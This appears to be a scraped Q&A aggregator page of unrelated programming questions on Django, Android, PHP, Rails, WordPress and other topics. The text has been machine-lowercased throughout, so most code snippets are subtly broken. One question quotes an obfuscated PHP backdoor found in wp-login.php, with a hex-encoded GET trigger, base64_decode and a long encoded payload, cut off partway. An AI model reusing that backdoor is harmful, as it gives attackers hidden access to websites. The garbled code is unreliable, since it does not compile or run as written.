Posts

Showing posts from August, 2012

python - How to use 2 ForeignKey filters one by one in 1 view - Django? -

hello , thank your answer: my taks: show article, show 3 questions (related article), show 3 answer each queston (related these questions). coomon test page. my models: class step(models.model): #main article title = models.charfield(max_length=200) description = models.charfield(max_length=200) annotation = models.textfield() main_text = models.textfield() def __str__(self): return self.title class question(models.model): #questios related article. step = models.foreignkey(step, on_delete=models.cascade) title = models.charfield(max_length=200, default = "pages") question_text = models.textfield() question_name = models.charfield(max_length=40, help_text="английские буквы", blank=true, null=true) class answer(models.model): #answers related questions question = models.foreignkey(question, on_delete=models.cascade) choice_text = models.textfield() votes = models.integerfield(default=0) answ...

actionscript 3 - Load the first 30 items in my TextField then loading the rest when click -

i'm making air app (as3) flash. i've got sprite that's loading items database table. function complete(e:event):void { addchild(list); products = json.parse(loader5.data) array; for(var i:int = 0; < products.length; i++){ createlistitem(i, products[i]); } showlist(); } function createlistitem(index:int, item:object):void { var listitem:textfield = new textfield(); var myformat:textformat = new textformat(); myformat.size = 25 listitem.defaulttextformat = myformat; listitem.text = item.title; listitem.y = 140+ index * 40; listitem.width = 100; listitem.addeventlistener(mouseevent.click, function(e:mouseevent):void { showdetails(item); }); list.addchild(listitem); } function showlist():void { list.visible = true; } i have more 200 items loaded. i'd load (or display) 30 first one, , click on button load/display 30 next..etc (like "pages"). any idea how can ? ...

java - Android String.format locale set explicitly to US but Persian numbers are used for Integer -

the title explains all. string method = string.format( "select studymap.id,studymap.title,studymap.zorder,studymap.hierarchy_id,studymap.book_id," + "studymap.abstract,studymap.type,studymap.free_view,studymap.localpath,studymap.flags," + "studymap.visit_status,downloads.status download_status,downloads.studymap_id,studymap.publish_status "+ "from studymap left join downloads on studymap.id = downloads.studymap_id" + " studymap.book_id = %d order studymap.zorder", book.id); book.id integers, still error on devices: android.database.sqlite.sqliteexception: no such column: ۵۴۵ (code 1): , while compiling: select studymap.id,studymap.title,studymap.zorder,studymap.hierarchy_id,studymap.book_id,studymap.abstract,studymap.type,studymap.free_view,studymap.localpath,studymap.flags,studymap.visit_status,downloads.status download_status,download...

c - OpenGL window doesn't open in xcode (7.2) when run as a child process -

i on os x 10.10.5, , xcode 7.2. have program spawns child process run visualization using opengl/glut, i.e. pid_t childpid; childpid = fork(); if(childpid == 0) { // child process glutinit(&argc, argv); ... } else{ // parent process else ... } when run in xcode, program never returns glutinit. if instead use parent process visualization, , child run else, i.e. if(childpid != 0) { // parent process glutinit(&argc, argv); ... } ... then opengl window pops up, , whole program runs fine. additionally, if run original version (with child doing visualization) when building makefiles in terminal outside of xcode, runs fine. any ideas on cause this? i haven't been able debug things far within xcode, because debugger follows parent process. if try attach child process through debug->attach process, error: "xcode couldn't attach “j2”. “j2” not support debuggable architecture." found questions on last issue of attaching other processes ...

ruby on rails - Schema dump with pre-existing MySQL database results in NoMethodError -

i've been trying schema dump new rails project using existing mysql database. here's setup in database.yml file: default: &default adapter: mysql2 encoding: utf8 pool: 5 username: username_example password: password_example host: localhost socket: /tmp/mysql.sock development: <<: *default database: databasename i added following gems gemfile , bundled: gem 'mysql2' gem 'activerecord-mysql2-adapter' after using command rake db:schema:dump following error in schema file: activerecord::schema.define(version: 0) # not dump table "tablename" because of following nomethoderror # undefined method `type' "text":string end any ideas on how fix appreciated, thanks! i discovered mysql version messing dump. removed activerecord mysql adaptor changed gemfile , dump worked perfectly: gem 'mysql2', '~> 0.3.13'

php - How do I make this loop once, break then continue the loop? -

i looping div horizontally float:left , works way should problem each div has unique height influenced content contained within, result can messy looking when browser re sized. php loop once, break, start new row looks same no matter how browser sized. if it's not obvious, not php , struggled piece have. <?php $url = "xml.php"; $xml = simplexml_load_file($url); $namespaces = $xml->getnamespaces(true); // namespaces for($i = 0; $i < 10; $i++){ $poster = $xml->channel->item[$i]->children($namespaces['x'])->poster; $html .= "<div class='wrapper' style='float:left;'>$poster</div>";} echo $html; ?> if understand want information have here suggest: your loop fine. lets want same no mater size of page. exemple : want 5 div on each row. use css it. you have total of 10 div need 2 rows. add loop : if($i = 5){ $html .= "<div class='wrapper' style='float:left;...

php - Select one value from same column with same id -

i want select product detail , display 1 image of product same column. ex : fm_product table | p_id | p_name | p_price | p_member_id | << (added product member) ----------------------------------------- | 1 | shirt | 600 | 44 | | 2 | pants | 700 | 44 | | 3 | shoes | 800 | 45 | | 4 | bag | 900 | 45 | fm_product_image table | img_id | p_id_img | img_name | ----------------------------------- | 1 | 1 | shirt_1.jpg | | 2 | 1 | shirt_2.jpg | | 3 | 1 | shirt_3.jpg | | 4 | 2 | pants_1.jpg | | 5 | 2 | pants_2.jpg | | 6 | 2 | pants_3.jpg | | 7 | 3 | shoes_1.jpg | | 8 | 3 | shoes_2.jpg | | 9 | 4 | bag_1.jpg | | 10 | 4 | bag_2.jpg | member ids 44 select added product out put should : | p_name | p_price | img_name | ---------------------------------- | shirt | 600 | shirt_1...

c++ - Assert is wrong, proven with cout -

when run this, in main() cout prints 5.395. assert says failed!! mind boggling, why happening? #include <iostream> #include <cassert> using namespace std; const float = 1.6; const float c = 1.55; const float g = 2.2; const float t = 1.23; char empty[18]; int arraysize; void copyarray(char sourcearray[], char targetarray[], int size) { for(int i=0;i<size;i++) { targetarray[i] = sourcearray[i]; } } double getavgdensity(char aminoacid) { char aminoupper = toupper(aminoacid); aminotoarray(aminoupper); double counter = 0; int codontotal = arraysize / 3.0; if (arraysize == 0) return 0; else { (int = 0; < arraysize; i++) { counter += chartodouble(empty[i]); } return (counter / codontotal); } } int main() { cout << getavgdensity('a') << endl; // prints 5.395 assert(getavgdensity('a')==5.395); return 0; } edit: answers, multiplied 1000, ...

php - Ajax form only submitting sometimes -

there several questions on none of answers have worked me. have tried them all. i tried minimize code pasting, it's kind of hard script i have comment form submitted via ajax php script saves comment , gets comments , redisplays them new comment can displayed without refreshing page. only comments submit database , redisplay properly. usually every other submit comment saved. every other time nothing seems happen. my real issue comments not being saved every time 1 submitted. here javascript , ajax call: $(document).ready(function(){ var working = false; $('#commentform').submit(function(e){ if(working) return false; working = true; $('#submitcomment').val('working..'); $('span.error').remove(); $.post('/ajax/comment.process.php',$(this).serialize(),function(msg){ working = false; $('#submitcomment').val('submit'); if(ms...

date - How to pass a variable to the mv command to rename a file text with spaces and the variable's text in a bash (.sh) file -

i create variable , store day, date & time in it: now=$(date "+%a %d/%m/%y% %h:%m") then pass $now mv command rename file. e.g. create file named a.txt title , current date: printf "file report (" > ~/desktop/a.txt echo $now"):\n" >> ~/desktop/a.txt then try rename file variable ($now) included in name: mv ~/desktop/a.txt ~/desktop/'file report $now'.txt what should last line be? tried these 2 options. mv ~/desktop/a.txt ~/desktop/'file report' $now.txt & mv ~/desktop/a.txt ~/desktop/'file report'${now}.txt assuming reasonably bourne-like shell (such bash), variable substitution not happen inside single quotes. need use double quotes: mv ~/desktop/a.txt "${home}/desktop/file report ${now}.txt" (i'm not sure whether curly braces required, can't hurt) you need change date command avoid use of slashes. example: now="$(date '+%a %d-%m-%y% %h:%m...

java - Android Cursor NPE dumpCursorToString returns values -

as title says, i'm experiencing nullpointerexception occurs @ first getstring() in below method. debugging have used databaseutils.dumpcursortostring() view cursor , there values within cursor between if statement , do statement, changes. use same code in method in separate activity , works flawlessly. public arraylist<string> getmusic() { helper = new dbhelper(context); db = helper.getreadabledatabase(); string[] cols = new string[]{music_id, music_country, music_blues, music_rock, music_metal, music_hiphop, music_classical, music_punk, music_techno, music_jazz, music_other}; cursor c = db.query(table_music_int, cols, null, null, null, null, null); int count = c.getcount(); log.v("interest cursor ", "count: " + count); // log row count if (c.movetofirst()) { log.v("interest cursor ", databaseutils.dumpcursortostring(c)); // dump cursor values { musi...

spring - Pivotal Cloud Foundry with Mongo DB -

we planning use mongo db application deployed in cloud foundry. came across link talks limitations of integration. cloud foundry not support mongo db managed service or not support mongo db if external connection parameters used? i have used cloudfoundry learning spring boot , cloud deployment, , deployed 2 spring boot apps 1 mongodb service provided cf , configured externally. in both case mongodb service provider mongolab (mongolab.com) cf provides mongodb via mongolab service can mongodbass mongolab.com , configure app use mongodb. the link posted refers "p-mongodb" service, doesn't exists anymore. ran cf marketplace , don't see p-mongodb available. guess pivotal removed old p-mongodb service new mongolab service. checkout link - https://console.run.pivotal.io/marketplace/mongolab . ps: here deployed app - http://blogaggregator.cfapps.io

ios - TableView does not load all the records in simulator of iPhone -

i created following table view: https://www.dropbox.com/s/o7w9zlyxwa6mul7/testtable.zip?dl=0 however not load rows of data on table. can please advise me how load data in this. according questions suppose 1 of these might actual question - if want tableview display cells, set height cells smaller values using uitabeleviewdelegate method func tableview(tableview: uitableview, heightforrowatindexpath indexpath: nsindexpath) -> cgfloat . default, cell height 44. @ max 11 rows visible (only till m). if saying when uitableview calls tableview(tableview: uitableview, cellforrowatindexpath indexpath: nsindexpath) -> uitableviewcell till m, answer is default functionality of ios. ios handles visible cell data whenever needed. data loaded dynamically while scrolling making use of previous cells.

git - Where does Gollum (the wiki engine) store its files? (when created via browser) -

Image
i've got gollum deployed on server. set wiki directory, seeded files, created git repo there, called gollum on directory. i can access wiki via browser , update , create files. however, can't find of new files or of updates in filesystem. are gollum updated files accessible command line somewhere? gollum reads , write git repository. let's see how work. command git tree show commits, branch, , local , remote repository. let's run it: * 9d80e8f (head -> master, origin/master, origin/head) sidebar * d09d2fe sidebar * b6f0b07 headers * 293a8b9 citação * b2c3723 cronograma the output shows many commits, first 1 last. now let's open gollum, , make change. make simple, let's edit home file, clicking on edit . make change, , write commit title described before saving it: now let's see repository status , it's tree: $ git status on branch master branch ahead of 'origin/master' 1 commit. (use "git push" publ...

css - JavaScript: Change Class Style across various pages -

i trying create function allow me change color of div in footer on every page on mouseover . this have come far , not working. javascript: function a(obj) { var elements = document.getelementsbyclassname(obj) var objects = [] (var i=0; < elements.length; ++i) { objects.push(elements[i]) } return objects; } var footerdiv = a('footerdiv'); footerdiv.onmouseover = function() { footerdiv.style.color = 'black'; } footerdiv.onmouseout = function() { footerdiv.style.color = 'white'; } html: <div class="footerdiv"> example text </div> i'd css: .footerdiv { color: white; } .footerdiv:hover { color: black }

emulation - I am NOt able to run Android emulator? does not have any error? -

[i beginner in android , trying run first android project. haxm working properly, have set ram size 512mb according haxm size. not give error msg. , shows blank screen on emulator. can 1 me plz?][1] messages of avd:nexus_5_api_23 c:\users\chinky\appdata\local\android\sdk\tools\emulator.exe -netdelay none -netspeed full -avd nexus_5_api_23 warning: no dns servers found emulator: device fd:732 haxm working , emulator runs in fast virt mode creating window 0 0 240 320 emulator: warning: updatecheck: failed url: 6 (error) emulator: warning: updatecheck: failed latest version, skipping check (current version '24.4.1' messages of app window device connected: emulator-5554 device ready: nexus_5_api_23 [emulator-5554] target device: nexus_5_api_23 [emulator-5554] installing apk: c:\users\chinky\desktop\android\happybirthday\app\build\outputs\apk\app-debug.apk uploading file to: /data/local/tmp/com.example.android.happybirthday installing com.example.android.happybirthday ...

html - margin+height makes the child to overflow even with box-sizing:border-box -

html <div class="container-fluid"> <div id="main" class="row"> <div id="header_wrapper" class="col-xs-10 col-xs-offset-2"> <div id="header" class="mcard">header</div> </div> </div> </div> css body, html { width: 100%; height: 100%; background: #eeeded; } .container-fluid { min-height: 100%; height: 1px; } .row { margin: 0px; } .row [class*="col-"] { padding: 0; } #main { margin: 4rem; min-height: 100%; height: 1px; } #header_wrapper { height: 20%; } #header { height: 100%; } .mcard { background: #fff; display: block; margin: 1rem; transition: 0.2s ease-in-out; } http://codepen.io/anon/pen/jwgapz?editors=110 in above code, #header seems overflow out of #header_wrapper because of #header{height:100%;} , .mcard{margin:1rem;} adds more height of #header_wrapper and thoug...

php - Syntax error or access violant 1064 -

i don't see problem in code, there solution in giving php access database? <?php try { $db = new pdo('mysql:host=xxx;dbname=xxx', 'xxx', 'xxx'); $db->setattribute(pdo::attr_errmode, pdo::errmode_exception); } catch (pdoexception $e) { echo $e->getmessage(); die(); } $query = $db->query('select * users'); $r = $query->fetch(); echo 'pre', print_r($r), '</pre>'; ?> sqlstate[42000]: syntax error or access violation: 1064 have error in sql syntax; check manual corresponds mariadb server version right syntax use near '0' @ line 1 –

converting mysqli to to codeigniter syntax -

good day! trying convert mysql syntax codeigniter working ajax head aching solve problem maybe because i'm new in codigniter,.. here code in model employee-grid-data.php <?php $servername = "localhost"; $username = "root"; $password = ""; $dbname = "test"; $conn = mysqli_connect($servername, $username, $password, $dbname) or die("connection failed: " . mysqli_connect_error()); $requestdata= $_request; $columns = array( 0 =>'employee_name', 1 => 'employee_salary', 2=> 'employee_age', 3 => 'id', ); $sql = "select id, employee_name, employee_salary, employee_age "; $sql.=" employee"; $query=mysqli_query($conn, $sql) or die("employee-grid-data.php: employees"); $totaldata = mysqli_num_rows($query); $totalfiltered = $totaldata; $sql = "select id, employee_name, employee_salary, employee_age "; $sql.=" emplo...

python - Two classes in same model -

please let me know; in openerp 7, created 2 classes & 2 tables generated classes.finally called classes such checkroll() , workoffer().now works & thing want 2 tables generated 1 class wrong or correct per openerp standards.? there other way implement that.? from openerp.osv import fields, osv class checkroll(osv.osv): _name = "checkroll.plucker" _description = "this table keeping personal data of plucker" _columns = { 'reg_no': fields.char('registration number', size=256, required=true), 'worker_name': fields.char('worker name', size=256, required=true), 'spouse_name': fields.char('spouse name', size=256), 'gender' : fields.selection((('male', 'male'), ('female', 'female'), ('middle', 'test')), 'gender', required=true), 'epf_no':fields.char('epf number', size=256) } c...

Rendering issues com.google.android.gms.ads.AdView -

i'm using android studio, after 2 days of search can't resolve this, want use adview project try lot of things still have error @ design time on android studio. for moment build.gradle file have android { compilesdkversion 21 buildtoolsversion "21.1.2" .... } dependencies { compile filetree(dir: 'libs', include: ['*.jar']) compile 'com.google.android.gms:play-services-ads:6.5.87' } java.lang.classnotfoundexception: com.google.android.gms.internal.cy$a @ com.android.tools.idea.rendering.renderclassloader.findclass(renderclassloader.java:53) @ org.jetbrains.android.uipreview.projectclassloader.findclass(projectclassloader.java:56) @ java.lang.classloader.loadclass(classloader.java:307) @ java.lang.classloader.loadclass(classloader.java:248) @ java.lang.classloader.defineclass1(native method) @ java.lang.classloader.defineclasscond(classloader.java:632) @ java.lang.c...

reactjs - Populating state from localstorage in React -

in react + flux based application, make api call fetch data in componentdidmount() function of react component. improve ux, query localstorage see if ui can populated & accordingly update state. so far, have been making call query localstorage in componentwillmount() function, avoiding render() call due statechange. but while implementing server side render, react throws error saying "rendered server side html did not match client side render: checksum fail". reason error that, server won't able read localstorage still carry initial state render. client can read localstorage & hence initial render different. so question community is, there better way achieve this? populate ui using localstorage in initial render rather in 2nd render call & still use server side rendering without causing "checksum fail" error react on client?

c - Returning a struct from function -

i'm trying understand how return struct function i'm lost. here code: void initialize_server(struct data host_port){ printf(" set ip address (x.x.x.x): "); fgets(data.host, sizeof(data.host), stdin); strchomp(data.host); printf(" set port: "); fgets(data.port_inc, sizeof(data.port_inc), stdin); strchomp(data.port_inc); return data; } and heres code .h struct data{ char host[16]; char port_inc[8]; }; void initialize_server(struct data host_port); the function definition your function definition uses void , defines function returning nothing , therefore return statement useless (will discuss later). use of structures also definition seems little broken. have written: void initialize_server(struct data host_port) { then in function write things data.host . i'm assuming have struct definition data somewhere , host_port variable of type struct data . to c...

python - JSON data convert to the django model -

i need convert json data django model. this json data { "data": [ { "id": "20ad5d9c-b32e-4599-8866-a3aaa5ac77de", "name": "name_1" }, { "id": "7b6d76cc-86cd-40f8-be90-af6ced7fec44", "name": "name_2" }, { "id": "b8843b1a-9eb0-499f-ba64-25e436f04c4b", "name": "name_3" } ] } this django method def get_titles(): url = 'http://localhost:8080/titles/' r = requests.get(url) titles = r.json() print(titles['data']) what need convert model , pass template. please let me know how convert json model. using json in django templates you don't have convert json structure django model use in django template: json structures (python dicts) work fine in django template e.g. if pass in {'titles': titles['data']} context template, can...

c++ - const and overloading operator -

i have generic map object. want overload operator[] map[key] return key's value. made 2 versions of subscript operator. non-const: valuetype& operator[](keytype key){ const: const valuetype& operator[]( keytype& key) const{ the non-const versions works fine when create const map have problem. write in main: const intmap map5(17); map5[8]; and these errors: ambiguous overload 'operator[]' (operand types 'const intmap {aka const mtm::mtmmap<int, int>}' , 'int') invalid initialization of non-const reference of type 'int&' rvalue of type 'int' the error message ambiguity reflects compiler considering both of operator[]() possible candidates match map5[8] . both candidates equally (or bad, depending on how @ it). the non- const version invalid because map5 const . the const version requires initialising non- const reference keytype rvalue (the literal 8 ) invalid...

Hbase and Zookeeper -

i have installed hbase 1.0.2, zookeeper-3.4.6, , java version "1.7.0_80" zookeeper works fine. when tried start shell of hbase ia m getting following error. can please me out. struct @ point. node /hbase not in zookeeper. should have been written master. check value configured in 'zookeeper.znode.parent'. there mismatch 1 configured in master. hbase-site.xml file , <property> <name>hbase.rootdir</name> <value>file:///usr/local/hbase</value> </property> <property> <name>hbase.zookeeper.property.datadir</name> <value>/usr/local/zookeeper</value> </property> you need configure zookeeper znode in hbase-site.xml. <property> <name>zookeeper.znode.parent</name> <value>/hbase</value> </property> the mismatch may because of default configurations. can verify available znodes in zookeeper using zkcli.

sql server - SQL Query Optimization with Union Select -

i have query, returns 570 rows, runs 2m 35s. in sql query execute, in solution, gives timeout. how can optimize run under 1m, pref 30s. select [region] = region.firstname, [patient] = patient.name, [patientstatus] = accountrating.name, [medicalaid] = accounttype.name, [quoteamount] = ( select top 1 a.response dbo.questionnaire q join dbo.questionnairedefinition qrd on qrd.questionnairedefinitionid = q.questionnairedefinitionid , qrd.name = 'internal admin' left join questiondefinition qd on q.questionnairedefinitionid = qd.questionnairedefinitionid , qd.questiondefinitionid = 5966 left outer join answer on a.questionnaireid = q.questionnaireid ...

Is there a way to get information from the web browser in Android? -

i create charity application if users press 'donate' button, browser open link 3rd-party crowdfunding website donate amount project (or choose exit app or whatever!). how know amount have donated (or not!) browser data can used member's stats, etc. yes possible. can use webview button button = (button) findviewbyid(r.id.b); button.setonclicklistener(new view.onclicklister() @overide public void onclick(view v) { webview mwebview=(webview)_findviewbyid(r.id.webview); mwebview .loadurl("url third party app"); setcontentview(mwebview ); }); or can use intent button button = (button) findviewbyid(r.id.b); button.setonclicklistener(new view.onclicklister() @overide public void onclick(view v) { wstring url = "http://www.example.com"; intent = new intent(intent.action_view); i.setdata(uri.parse(url)); startactivity(i); });

oop - how to change a class method behavior and output in php -

how can design pattern can affect calling methods of class , getting output them, example when use return $this can call multiple methods using pointers in approach, cant affect previous called method through last called method.. instance code : layout1.php |--------------| <div> {content} </div> index.php |-----------| //return output $view->layout('layout1')->content('test'); in case instance code changed following //echo output $view->layout('layout1'); i need function informed , show different behavior on sending output. instance , in first code output value should returned in second one, value must directly echoed.. sample code : layout1.php |--------------| <div> {content} </div> index.php |-----------| $view = view(); //return output $view->layout('layout1')->content('test'); //echo output $view->layout('layout1'); view.php |-----------| class view{ ...

xcode - Moving classes back into a project -

by mistake created 2 classes outside of main group, have .xcodeproj 2 classes. how can move these 2 classes project? app working. try this: close xcode open project in finder move classes correct place open xcode there question marks in classes moved select each class in project navigator right click > source control > add files > add storyboardfiles project the question marks turn a product > clean run app when had problem in xcode 7 not necessary touch references. hope helps

Encode Code inside wp-login.php wordpress -

recently during development of website using wordpress, found code inside wp-login.php if(isset($_get["\x6co\x61\x64b\x65a\x6e"])){$wrdmt=array("nxlwxqpd"=>"\x62a\x73e6\x34_\x64\x65\x63\x6f\x64\x65","srohzll"=>"\x6d\x64\x35","ffqahag"=>"jge9j29tbxazwvjwvmjwmgiwyje3bhlscwjtedinoyripsrfr0vuwydsb2fkymvhbiddoyrhpxn0cl9yzxbsywnlkgfycmf5kcriwzjdlcriwzrdlcriwzfdlcriwzldlcriwzewxswkyls3xswkylsxml0sjgjbmtndlcriwze0xswkylswxswkylszxsksyxjyyxkojzgnlccujywnoicsj3qnlccvjywnlycsj2gnlcdkjywndccsjy8nlcdujyksjgepo2lmkgzpbhrlcl92yxiojgesrklmvevsx1zbteleqvrfx1vstck9pt1mywxzzsl7zwnobyanaw52ywxpzcc7zxhpddt9jgm9j2hwdwhmexzxzgdrjzskzd1mawxlx2dldf9jb250zw50cygkysk7awyoixn0cmlzdhiojgqsjgmpkxskzt1jdxjsx2luaxqojgepo2n1cmxfc2v0b3b0kcrllenvukxpufrfukvuvvjovfjbtlngrvismsk7y3vybf9zzxrvchqojgusq1vste9qvf9csu5bulluukfou0zfuiwxkttjdxjsx3nldg9wdcgkzsxdvvjmt1bux0zptexpv0xpq0fusu9oldepo2n1cmxfc2v0b3b0kcrllenvukxpufrfvvnfukfhru5ulcdnb3ppbgxhlzu...

angularjs - Show templates from different components on same place -

Image
i trying rewrite administration of application angular2. have 3 components (appcomponent, systemcomponent , shopcomponent). appcomponent: import {component} 'angular2/core'; import {routeconfig, router, router_directives} 'angular2/router'; import {systemcomponent} "./system.component"; @component({ selector: 'app', templateurl: '/templates/layout', directives: [router_directives] }) @routeconfig([ { path: '/', redirectto: ['/system'], useasdefault: true }, { path: '/-1/...', name: 'system', component: systemcomponent } ]) export class appcomponent { constructor(router: router){ router.navigate(['/system']); } } systemcomponent: import {component} 'angular2/core'; import {routeconfig, routeroutlet} 'angular2/router'; @component({ directives: [routeroutlet] }) export class systemcomponent {} shop...

How to "touch" a file using Swift on OSX -

i touch folder using swift using native command similar command line: touch myfile.txt what best way of doing this? i can create folders ok. question how touch folder (ie update modification date) without affecting folders contents. i exploring whether there api this. expect can invoke cli command this. research has not turned satisfactory answer. no need invoking cli command, can nsfilemanager . first, let's have @ attributes of file (or folder): let manager = nsfilemanager() { let attr = try manager.attributesofitematpath(yourfilepath) print(attr) } catch let error nserror { print(error) } what .attributesofitematpath nsdictionary containing file/folder attributes, including modification date. you can set these attributes .setattributes , here's example setting modification date current date: let newattributes = [nsfilemodificationdate: nsdate()] { try manager.setattributes(newattributes, ofitematpath: yourfilepath) } catch ...

android - Google places api does not work after using google map api v2 -

as google has updated map api, have implemented new google maps api v2. map appears in app places not shown on android map. when debug code, @ 1 point in code said "access denied" places api. have used new map api key in places api code. can guide me in regard? i looked code , found out following: i use different key google places calls. not google maps key. in google api console on page "api access" called key browser apps (with referers) i append key url of places api calls. these calls done on http. not sure if there different way places. try generate kind of key , use app.

.net - The 'ref' attribute cannot be present. validation error in C# -

i did xml xsd validation according following method: xml validation using xsd schema ....................................................... xmlreadersettings settings = new xmlreadersettings(); settings.schemas.add(null, xsdfilepath); settings.validationtype = validationtype.schema; settings.validationeventhandler += new system.xml.schema.validationeventhandler(settings_validationeventhandler); xmldocument document = new xmldocument(); document.load(xmlfilepath); xmlreader rdr = xmlreader.create(new stringreader(document.innerxml), settings); while (rdr.read()) { } ........................................................... and gives me error saying: "the 'ref' attribute cannot present" my xsd looks : ........... <xs:element name="totals" minoccurs="0" ref="doctotal"/> .................................. <xs:element name="doctotal"> <xs:complextype> <xs:sequence> ...

jquery-php magic: how to open the post page from within a homepage loop fancybox -

i run custom fancybox within wordpress; homepage loop grid of "featured images"; clicking on them doesn't open post page rather fancybox image post (usually there's one). this done replacing the_permalink php function fetches direct url of (first) picture in post. far good. now picture has opened in fancybox; here i've added beautifully working "print" link; need next it, link actual post page took image from !! this hard me brains... ... how inform fancybox of such variable?? obviously, telling fancybox use <?php get_the_permalink(); ?> won't work (the php snippet converted url characters; besides, know postid? doubt it); i tried different variants of ajax found on website similar purposes couldn't of them work. don't think on right track. what's method? moment user clicks on fancybox link on home page, image url should sent fancybox script (for example) post id or post permalink, allow fancybox use such variabl...

java - How to determine that the ApplicationConfig.class is marked with a custom annotation -

i enable application features based on presence of custom annotation marks applicationconfig.class below: @foobar(enabled = true) @configuration @componentscan(basepackageclasses = application.class, excludefilters = @filter({controller.class, configuration.class})) @enablejparepositories("com.package.repository") class applicationconfig { // application specific configs , bean defs. } the custom annotation named foobar : @target({elementtype.type}) @retention(retentionpolicy.runtime) public @interface foobar { boolean enabled() default true; } during application startup detect class (or other class/bean) annotated annotation. here attempt, partly based on similar question includes 2 ways determine annotation being used. @component public class myclasswitheventlisteners implements applicationcontextaware { @autowired applicationeventpublisher applicationeventpublisher; @autowired applicationcontext applicationcontext; @eventlistener void cont...